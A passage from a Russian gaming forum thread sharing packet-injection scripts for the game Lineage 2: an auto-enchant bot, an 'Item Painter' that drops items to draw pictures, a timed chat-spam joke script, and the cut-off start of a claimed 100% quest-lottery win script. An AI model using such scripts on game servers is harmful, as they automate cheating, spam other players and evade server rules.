vsego:=vsego+1;
EncItems[vsego]:=i;
if (vsego = 1) then begin
enchantLevel:=BaseItems[i,10];
enchantID:=BaseItems[i,2];
end;
if (vsego > 1) and (BaseItems[i,10] < enchantLevel) then begin
enchantLevel:=BaseItems[i,10];
enchantID:=BaseItems[i,2];
end;
end;
//SendMsg2( '- В Ы Б Р А Н предмет для Заточки');
//SendMsg2( '- ObjID предмета='+IntToStr(enchantID)+' ');
//SendMsg2( '- точим предмет до: '+IntToStr(enchantResult)+' ' );
SendMsg2( '- предметов для заточки: '+IntToStr(vsego)+' ' );
SendMsg2( '- минимально заточен на: '+IntToStr(enchantLevel)+' ' );
x:=1;
if startenchant then begin
Timer01.enabled:=true;
end else begin
SendMsg2( '- cоцдействие ДА для старта' );
end;
end;
//===
procedure OnTimer01(Sender: TObject);
begin
case x of
1:begin
buf:=#$19;
if enchantLevel < encSafe then begin
WriteD(skrolObjectID); //простая заточка
end else begin
WriteD(bskrolObjectID);//блессед заточка
end;
WriteD(0);
SendToServerEx(myname);
inc(x);
end;
2:begin
buf:=hstr('D04C00');
WriteD(enchantID);
SendToServerEx(myname);
Timer02.enabled:=true;
x:=0;
Timer01.enabled:=false;
end;
end;
end;
//---
procedure OnTimer02(Sender: TObject);
begin
buf:=#$5F;
WriteD(enchantID);
WriteD(0);
SendToServerEx(myname);
Timer02.enabled:=false;
SendMsg2( '- Т О Ч И М предмет: '+IntToStr(enchantID)+' ' );
end;
//----------------------------------------------------------------------------------- start
procedure Init;
begin
itemID:=0;
enchantID:=0;
enchantLevel:=0;
start:=false;
startenchant:=false;
skrolObjectID:=0;
bskrolObjectID:=0;
enchantObjectID:=0;

Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=500; //<<== время выбора свитка и предмета

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=2800; //<<== время между заточкой
SendMsg2( '- ***** скрипт включился *****' );
SendMsg2( '- ник: '+myname+', ячеек инвентаря: '+IntToStr(max)+' ' );
SendMsg2( '- будем точить до '+IntToStr(enchantResult)+' ' );
SendMsg2( '- выберите обычную заточку ' );
x:=0;
end;
procedure Free;
begin
Timer01.free;
Timer02.free;
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2) of
24:begin
startenchant:=true;
x:=1;
Timer01.enabled:=true;
SendMsg2( '- П О Е Х А Л И -' );
SendMsg2( '- соцдействие НЕТ для остановки' );
buf:=hstr('14');
SendToServerEx(myname);
pck:='';
exit;
end;
25:begin
start:=false;
startenchant:=false;
Timer01.enabled:=false;
Timer02.enabled:=false;
SendMsg2( '- С Т О П -' );
SendMsg2( '- cоцдействие ДА для старта' );
pck:='';
exit;
end;
end;
end;
//=========
begin
if FromServer and (pck[1]=#$11) then ItemList;
if FromClient then
case pck[1] of
#$56:RequestActionUse;
#$19:if skrolObjectID = 0 then begin
skrolObjectID:=ReadD(2);
SendMsg2( '- ObjID обычного свитка: '+IntToStr(skrolObjectID)+'' );
SendMsg2( '- выберите блессед заточку' );
buf:=hstr('14');
SendToServerEx(myname);
end else if bskrolObjectID = 0 then begin
bskrolObjectID:=ReadD(2);
SendMsg2( '- ObjID блессед свитка: '+IntToStr(bskrolObjectID)+'' );
SendMsg2( '- заточите нужный предмет' );
buf:=hstr('14');
SendToServerEx(myname);
end;
#$D0:if ReadH(2)=76 then begin
selectObjectID:=ReadD(4);
end;
#$5F:begin
enchantObjectID:=ReadD(2);
ItemOID:=GetItemID(enchantObjectID);//находим по ObjectID предмет с ItemID
end;
end;
end.

xxdoomxx
14.07.2010, 15:11
Program ItemPainter;
//------------------------------------------------------------------
//Скрипт для рисования предметами пока только для с4 и интерлюдии
//В Name ввдите ник
//Нарисуйте картинку в любом графическом редакторе.
//В поле "Путь к фалу" введите путь к этому файлу и нажмите Load
//Черный,красный,зеленый,голубой,желтый цвета пикселей можно привязать к отдельному предмету
//Выберите цвет в боксе color, затем предмет в боксе Item (предметов должно быть>1 чтобы они появились в списке)
//scale - масштаб отступа между предметами от 1:1 до 10:1
//Самый оптимальный масштаб 5:1
//-----------------------------------------------------------------
//Пока проблема в том что скрипт рисует картинку в неизвестном направлении
//Не знаю как сделать чтоб рисовало строго справа от себя
const
Name='Justxxxxx';
interlude=true;
max=80;
var
bmp:TBitMap; //Картинка
ItemBase: array[1..3,1..max] of integer; //Массив предметов заполняется процедурой CreateItemBase
SelectedItems: array[1..3,1..5] of integer; //Массив Object ID предметов [i,j] i=1 - OID,2-ID,3 - Count; j - # цвета
currentx,currenty,StartX,StartY,StartZ,MyX,MyY,Ite mOID:integer;
//Теущие координаты x и y;координаты начала отчета x,y,z; Мои координаты x y обнавляются при Validate Position
ready:boolean;
timer : TTimer;
FormMain:TForm;
Stats : TMemo;
Panel1 : TPanel;
GroupBox1,GroupBox2 : TGroupBox;
ComboBoxColor,ComboBoxScale,ComboboxItem:TComboBox ;
Label1,Label2,Label3:TLabel;
Path:TEdit;
LoadedImage:TImage;
LoadButton,StartButton,StopButton:TButton;
ItemsName,StringList:TStringList;
//......................................
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
var i,count,index:integer;
begin
count:=0;
if SelectedItems[2,ComboBoxColor.ItemIndex+1]=ItemBase[2,ComboBoxItem.ItemIndex+1] then exit;
for i:=1 to 5 do if SelectedItems[2,i]=ItemBase[2,ComboBoxItem.ItemIndex+1] then inc(count);
if Count>0 then begin
stats.lines.add('Ошибка! Нельзя добавлять одинаковые предметы в разные цвета.');
exit;
end;
SelectedItems[1,ComboBoxColor.ItemIndex+1]:=ItemBase[1,ComboBoxItem.ItemIndex+1];
SelectedItems[2,ComboBoxColor.ItemIndex+1]:=ItemBase[2,ComboBoxItem.ItemIndex+1];
SelectedItems[3,ComboBoxColor.ItemIndex+1]:=ItemBase[3,ComboBoxItem.ItemIndex+1];
index:=ComboBoxItem.ItemIndex;
for i:=0 to StringList.Count-1 do if Pos(' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex],ComboBoxItem.Items.Strings)>0 then
ComboBoxItem.Items.Strings:=StringList.Strings;
ComboBoxItem.Items.Strings[index]:=ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]+' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex];
ComboBoxItem.ItemIndex:=index;
end;
//----------------------------------------
procedure StartButton_Click(Sender: TButton);
//Event : OnClick
begin
if bmp=NIL then stats.lines.add('Картинка не загружена!') else
begin
stats.lines.add('Старт!');
StartButton.enabled:=false;
currentx:=-1;
currenty:=0;
buf:=#$AA;
WriteD(0);
SendToServerEx(Name);
end;
end;
//......................................
//ButtonStopEnchant
procedure StopButton_Click(Sender: TButton);
//Event : OnClick
begin
StartButton.enabled:=true;
stats.lines.add('Стоп!');
timer.enabled:=false;
ready:=false;
end;
procedure bmpload;
begin
bmpfree;
bmp:=TBitMap.Create;
try
bmp.LoadFromFile(path.text);
except
bmp.Free;
stats.lines.add('Ошибка загрузки файла!');
exit;
end;
stats.lines.add('Картинка успешно загружена!');
LoadedImage.Picture.assign(bmp);
end;
procedure LoadButton_Click(Sender: TButton);
var openDialog : TOpenDialog;
begin
openDialog := TOpenDialog.Create(NIL);
openDialog.Filter := 'Bitmap files|*.bmp';
openDialog.FilterIndex := 1;
openDialog.DefaultExt:='bmp';
openDialog.Options:=ofNoChangeDir+ofFileMustExist+ ofPathMustExist;
if openDialog.Execute then path.text:=openDialog.FileName else begin
openDialog.Free;
exit;
end;
openDialog.Free;
bmpload;
end;
procedure Path_key(Sender: TEdit; Key: Char);
begin
if ord(key)=13 then begin
bmpload;
end;
end;
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end;
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Item Painter v 0.1 by ArchDevil';
Result.Left := 397;
Result.Top := 233;
Result.Width := 350;
Result.Height := 230;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 0;
Stats.Top := 160;
Stats.Width := 350;
Stats.Height := 70;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alBottom;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 350;
Panel1.Height := 160;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox1
GroupBox1 := TGroupBox.Create(Result);
GroupBox1.Parent := Panel1;
GroupBox1.Left := 1;
GroupBox1.Top := 1;
GroupBox1.Width := 160;
GroupBox1.Height := 160;
GroupBox1.Visible := TRUE;
GroupBox1.Tag := 0;
GroupBox1.Enabled := TRUE;
GroupBox1.Hint := '';
GroupBox1.ShowHint := FALSE;
GroupBox1.Caption := 'Рисунок';
GroupBox1.Align := alLeft;
GroupBox1.Color := clBtnFace;
GroupBox1.Font.Name := 'Tahoma';
GroupBox1.Font.Size := 8;
GroupBox1.Font.Color := clWindowText;
GroupBox1.Font.CharSet := 1;
GroupBox1.TabOrder := 0;
GroupBox1.TabStop := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 180;
GroupBox2.Height := 160;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alLeft;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//ComboBoxColor
ComboBoxColor := TComboBox.Create(Result);
ComboBoxColor.Parent := GroupBox2;
ComboBoxColor.Left := 38;
ComboBoxColor.Top := 16;
ComboBoxColor.Width := 60;
ComboBoxColor.Height := 21;
ComboBoxColor.Visible := TRUE;
ComboBoxColor.Tag := 0;
ComboBoxColor.Enabled := TRUE;
ComboBoxColor.Hint := 'Выбери из списка цвет соответствующий предмету ниже';
ComboBoxColor.ShowHint := TRUE;
ComboBoxColor.Text := 'ComboBoxColor';
ComboBoxColor.Font.Name := 'Tahoma';
ComboBoxColor.Font.Size := 8;
ComboBoxColor.Font.Color := clWindowText;
ComboBoxColor.Color := clWindow;
ComboBoxColor.TabOrder := 1;
ComboBoxColor.TabStop := TRUE;
ComboBoxColor.Sorted := FALSE;
ComboBoxColor.ItemHeight := 13;
ComboBoxColor.Items.ADD('Black');
ComboBoxColor.Items.ADD('Red');
ComboBoxColor.Items.ADD('Green');
ComboBoxColor.Items.ADD('Blue');
ComboBoxColor.Items.ADD('Yellow');
ComboBoxColor.ItemIndex := 0;
//......................................
//......................................
//ComboBoxScale
ComboBoxScale := TComboBox.Create(Result);
ComboBoxScale.Parent := GroupBox2;
ComboBoxScale.Left := 134;
ComboBoxScale.Top := 16;
ComboBoxScale.Width := 39;
ComboBoxScale.Height := 21;
ComboBoxScale.Visible := TRUE;
ComboBoxScale.Tag := 0;
ComboBoxScale.Enabled := TRUE;
ComboBoxScale.Hint := 'Выбери из списка масштаб';
ComboBoxScale.ShowHint := TRUE;
ComboBoxScale.Text := 'ComboBoxScale';
ComboBoxScale.Font.Name := 'Tahoma';
ComboBoxScale.Font.Size := 8;
ComboBoxScale.Font.Color := clWindowText;
ComboBoxScale.Color := clWindow;
ComboBoxScale.TabOrder := 1;
ComboBoxScale.TabStop := TRUE;
ComboBoxScale.Sorted := FALSE;
ComboBoxScale.ItemHeight := 13;
ComboBoxScale.Items.ADD('1:1');
ComboBoxScale.Items.ADD('2:1');
ComboBoxScale.Items.ADD('3:1');
ComboBoxScale.Items.ADD('4:1');
ComboBoxScale.Items.ADD('5:1');
ComboBoxScale.Items.ADD('6:1');
ComboBoxScale.Items.ADD('7:1');
ComboBoxScale.Items.ADD('8:1');
ComboBoxScale.Items.ADD('9:1');
ComboBoxScale.Items.ADD('10:1');
ComboBoxScale.ItemIndex := 0;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 38;
ComboBoxItem.Top := 40;
ComboBoxItem.Width := 135;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка затачиваемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 8;
Label1.Top := 20;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Color:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 8;
Label2.Top := 44;
Label2.Width := 58;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'Item:';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label3
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 103;
Label3.Top := 20;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'Scale:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Path
Path := TEdit.Create(Result);
Path.Parent := GroupBox1;
Path.Left := 5;
Path.Top := 107;
Path.Width := 117;
Path.Height := 20;
Path.Visible := TRUE;
Path.Tag := 0;
Path.Enabled := TRUE;
Path.Hint := 'Введи путь к файлу BMP';
Path.ShowHint := TRUE;
Path.Text := '';
Path.Font.Name := 'Tahoma';
Path.Font.Size := 7;
Path.Font.Color := clWindowText;
Path.Color := clWindow;
Path.TabOrder := 5;
Path.TabStop := TRUE;
Path.ReadOnly := FALSE;
Path.MaxLength := 0;
Path.AutoSize := TRUE;
Path.OnKeyPress := @Path_Key;
//......................................
//......................................
//LoadImage
LoadedImage:= TImage.Create(Result);
LoadedImage.Parent:=GroupBox1;
LoadedImage.Left :=5;
LoadedImage.Top := 16;
LoadedImage.Width := 150;
LoadedImage.Height := 90;
LoadedImage.Visible := TRUE;
LoadedImage.Tag := 0;
LoadedImage.Enabled := TRUE;
LoadedImage.Hint := '';
LoadedImage.ShowHint := FALSE;
LoadedImage.Center := TRUE;
LoadedImage.Proportional := TRUE;
//......................................
//......................................
//LoadButton
LoadButton := TButton.Create(Result);
LoadButton.Parent := GroupBox1;
LoadButton.Left := 124;
LoadButton.Top := 106;
LoadButton.Width := 32;
LoadButton.Height := 21;
LoadButton.Visible := TRUE;
LoadButton.Tag := 0;
LoadButton.Enabled := TRUE;
LoadButton.Hint := '';
LoadButton.ShowHint := FALSE;
LoadButton.Caption := 'Open';
LoadButton.Font.Name := 'Tahoma';
LoadButton.Font.Size := 8;
LoadButton.Font.Color := clWindowText;
LoadButton.Font.CharSet := 1;
LoadButton.TabOrder := 2;
LoadButton.TabStop := TRUE;
LoadButton.Cancel := FALSE;
LoadButton.ModalResult := 0;
LoadButton.OnClick := @LoadButton_Click;
//......................................
//......................................
//StartButton
StartButton := TButton.Create(Result);
StartButton.Parent := GroupBox2;
StartButton.Left := 6;
StartButton.Top := 106;
StartButton.Width := 80;
StartButton.Height := 21;
StartButton.Visible := TRUE;
StartButton.Tag := 0;
StartButton.Enabled := TRUE;
StartButton.Hint := '';
StartButton.ShowHint := FALSE;
StartButton.Caption := 'Start';
StartButton.Font.Name := 'Tahoma';
StartButton.Font.Size := 8;
StartButton.Font.Color := clWindowText;
StartButton.Font.CharSet := 1;
StartButton.TabOrder := 2;
StartButton.TabStop := TRUE;
StartButton.Cancel := FALSE;
StartButton.ModalResult := 0;
StartButton.OnClick := @StartButton_Click;
//......................................
//......................................
//StopButton
StopButton := TButton.Create(Result);
StopButton.Parent := GroupBox2;
StopButton.Left := 96;
StopButton.Top := 106;
StopButton.Width := 80;
StopButton.Height := 21;
StopButton.Visible := TRUE;
StopButton.Tag := 0;
StopButton.Enabled := TRUE;
StopButton.Hint := '';
StopButton.ShowHint := FALSE;
StopButton.Caption := 'Stop';
StopButton.Font.Name := 'Tahoma';
StopButton.Font.Size := 8;
StopButton.Font.Color := clWindowText;
StopButton.Font.CharSet := 1;
StopButton.TabOrder := 3;
StopButton.TabStop := TRUE;
StopButton.Cancel := FALSE;
StopButton.ModalResult := 0;
StopButton.OnClick := @StopButton_Click;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
Result.Show;
end;
procedure Init; //Вызывается при включении скрипта
begin
FormMain:=Create_FormMain;
stats.Lines.Add('Скрипт: Рисование предметами by ArchDevil!');
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=10; //время задержки
ready:=false;
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
stats.Lines.Add('itemsid.ini не найден!');
exit;
end;
buf:=hstr('0F');
SendToServerEx(Name);
end;
procedure bmpfree;
begin
try
if bmp<>NIL then
begin
bmp.Free;
bmp:=NIL;
end;
finally
end;
end;
procedure Free;
var i:integer;
begin
Free_FormMain; bmpfree;
StringList.Clear; ItemsName.Clear;
timer.Free;
if LoadedImage<>NIL then LoadedImage:=NIL;
currentx:=0; currenty:=0; StartX:=0; StartY:=0;
StartZ:=0; MyX:=0; MyY:=0; ItemOID:=0;
ready:=false;
for i:=1 to 5 do begin
SelectedItems[1,i]:=0;
SelectedItems[2,i]:=0;
SelectedItems[3,i]:=0;
end;
end;
//CreateItemBase и InventoryUpdate Взял со скрипта NLObP на заточку
//---------------------------------------------
procedure CreateItemBase;
var
i, j, ListCount, oid,id,count: integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
end;
j:=4;
ListCount:=ReadH(j);
j:=8;
for i:=1 to ListCount do begin
oid:=ReadD(j);
id:=ReadD(j);
count:=ReadD(j);
if count=1 then begin //считает только предметы с количеством > 1
ListCount:=ListCount-1;
i:=i-1;
end else
begin
ItemBase[1,i]:=oid;
ItemBase[2,i]:=id;
ItemBase[3,i]:=count;
end;
if interlude then inc(j,24) else inc(j,16);
end;
StringList.Clear;
try
for i:=1 to ListCount do begin
try
StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
except;
end
end;
except;
exit;
end;
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
//......................................
//************************************************** ****************************
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
i, ii, j, OID, ID, Count, ListCount, UpdType: integer;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2);
j:=4;
for ii:=1 to ListCount do begin
add:=false;
UpdType:=ReadH(j);
ReadH(j); //ItemType1
OID:=ReadD(j); //ObjectID
ID:=ReadD(j); //ItemID
Count:=ReadD(j); //кол-во
case UpdType of
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=OID;
ItemBase[2,i]:=ID;
ItemBase[3,i]:=Count;
add:=true;
end;
end;
end;
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[3,i]:=Count;
end;
end;
end;
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
end;
end;
end;
end;
if interlude then inc(j,22) else inc(j,14);
end;
end;
//------------------------------------
function GetCount(OID:integer) : integer;
var
i : integer;
begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
result:=ItemBase[3,i]; // count
exit;
end;
end;
result:=0;
end;
//--------------------------------------------
function delta(x1, y1, x2, y2:extended):integer; //возвращает растоянием между 2 точками
var
dx,dy,summa: extended;
begin
dx:=x2-x1;
dy:=y2-y1;
summa:=dx*dx+dy*dy;
if summa=0 then result:=0 else result:=Round(sqrt(summa));
end;
//--------------------------------------------
procedure OnTimer(Sender: TObject);
begin
ItemOID:=0;
repeat
if currentx=bmp.width-1 then
begin
inc(currenty);
currentx:=0;
end else inc(currentx);
if currenty=bmp.height then
begin
timer.enabled:=false;
stats.lines.add('Остановлено! Рисунок нарисован!');
exit;
end;
case bmp.Canvas.pixels[currentx,currenty] of //матрица пикселей
clBlack: if (SelectedItems[1,1]>0) and (GetCount(SelectedItems[1,1])>0) then ItemOID:=SelectedItems[1,1];
clRed: if (SelectedItems[1,2]>0) and (GetCount(SelectedItems[1,2])>0) then ItemOID:=SelectedItems[1,2];
clGreen: if (SelectedItems[1,3]>0) and (GetCount(SelectedItems[1,3])>0) then ItemOID:=SelectedItems[1,3];
clBlue: if (SelectedItems[1,4]>0) and (GetCount(SelectedItems[1,4])>0) then ItemOID:=SelectedItems[1,4];
clYellow:if (SelectedItems[1,5]>0) and (GetCount(SelectedItems[1,5])>0) then ItemOID:=SelectedItems[1,5];
end;
until ItemOID<>0;
if ItemOID=0 then exit;
stats.lines.add('Текущий элемент матрицы: x='+inttostr(currentx)+', y='+inttostr(currenty)+'.');
if delta(MyX,MyY,StartX+currentx*(ComboBoxScale.ItemI ndex+1),StartY+currenty*(ComboBoxScale.ItemIndex+1 ))>240 then begin //расстояние между точками
buf:=#$01;
WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1) );
writeD(StartY+currenty*(ComboBoxScale.ItemIndex+1) );
WriteD(StartZ);
WriteD(MyX);
WriteD(MyY);
WriteD(StartZ);
WriteD(1);
SendToServerEx(Name);
timer.enabled:=false; //Отключаем на время передвижения
ready:=true;
exit;
end;
buf:=#$12;
WriteD(ItemOID);
WriteD(1);
WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1) );
WriteD(StartY+currenty*(ComboBoxScale.ItemIndex+1) );
WriteD(StartZ);
SendToServerEx(Name);
end;
//--------------------------------------------
begin
if FromClient and (ConnectName=Name) then
case pck[1] of
#$48: begin
MyX:=ReadD(2); // постоянно считываем координаты чара
MyY:=ReadD(6);
if ready and (delta(Myx,Myy,StartX+currentx*(ComboBoxScale.Item Index+1),StartY+currenty*(ComboBoxScale.ItemIndex+ 1))<100) then begin //Меньше 100 можно включать таймер
buf:=#$12; //Выкидываем предмет который не выкинули когда дельта привышала 240
WriteD(ItemOID);
WriteD(1);
WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1) );
WriteD(StartY+currenty*(ComboBoxScale.ItemIndex+1) );
WriteD(StartZ);
SendToServerEx(Name);
ready:=false;
timer.enabled:=true;
end;
end;
end;
if FromServer and (ConnectName=Name) then
case pck[1] of
#$1B: CreateItemBase; //создание базы предметов
//......................................
#$27: InventoryUpdate; //Обновление базы
#$64: if (StartButton.enabled=false) and (timer.enabled=false) and (ReadD(6)=3) then
begin
StartX:=ReadD(14); //Считываются только 1 раз
StartY:=ReadD(22);
StartZ:=ReadD(30);
MyX:=StartX;
MyY:=StartY;
timer.enabled:=true;//Вот теперь включаем таймер
end;
#$12: pck:=''; //Это для того чтоб не удалялись предметы, просто на сервере где я тестил автоудаление предметов
end;
end.

BlackWinG
24.07.2010, 00:35
Нашел на максе очень интересный скрипт. Сам я в этом не шарю, но мб кому то пригодиться:)

Суть скрипта в том, что когда тебя рекают - человеку в ПМ пишет какой-то анекдот, так можно ходить по городу и писать "Рек-Анекдот в ПМ"

Собственно сам скрипт:


//by VORON
//скрипт который рассказывает анекдоты без бана:
///////////////////////////////////////////////////////////////////////////
var
temp: array [1..20] of string;
timer1: TTimer;
x: integer;

procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer; //
timer1.enabled:=true; //
timer1.interval:=1000;



temp[1]:='" Водка в стиле IT: ';
temp[2]:='0.1л - demo ';
temp[3]:='0.25л - trial version ';
temp[4]:='0.5л - personal edition ';
temp[5]:='0.7л - professional edition ';
temp[6]:='1.0л - network edition ';
temp[7]:='1.75л - enterprise ';
temp[8]:='3л - for small business ';
temp[9]:='5л - corporate edition ';
temp[10]:='Бутыль самогона - home edition ';
temp[11]:='"На посошок" - Service pack ';
temp[12]:='Рассол с утра - Recovery tool ';
temp[13]:='Закуска - plugins ';
temp[14]:='Пиво - patch ';
temp[15]:='Coca-cola, Fanta, 7 UP - trojan viruses';
temp[16]:='';


x:=1;
end;

procedure OnTimer(Sender: TObject);
begin
///
if temp
<> '' then
begin
buf:=hstr('38');
writes(temp
);
buf:=buf + hstr('01 00 00 00'); ///9- али // 3-пати // 01 - общий
sendtoserverex('ник');
end;
x:=x+1;
if x>= 19 then x:=19; //ЭТА СТРОКА ДЛЯ ТОГО ЧТОБ XELAT заценил глубину мысли! незнаю я синтаксиса-) и учиться лень-) там какойто АНТИЛ надо применять-) а зачем? и так все пашет.
end;


procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free;
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin

end.


Добавлено через 33 минуты
Скрипт для 100% выигрыша в лотерею в квесте Seductive Whispers

Описание квеста


Название квеста: Seductive Whispers
Выполнять обязательно группой
Можно повторно взять квест
Расы: Все
Классы: Все
Требуемый левел: 50
Где брать квест: Town of Aden
У кого брать квест: Blacksmith Wilbert
Награда: Adena, или armor/weapon scrolls, или 60% B weapon receipes

Описание:
Кузнец Вилберт желает играть с вами в новую модную игру, но говорит, что для игры вам понадобятся бусинки. Вам нужно раздобыть их, чтобы начать играть.
1. Поговорите с Blacksmith Wilbert в кузнице Адена и возьмите задание.
2. Выбивайте итемы в Cemetry, Ancient Battleground, Fields of Massacre. Для одной игры нужно собрать 50 Spirit Beads.
3. Накопив минимум 50 бусин, вернитсь к Blacksmith Wilbert, чтобы играть.
Правила игры:
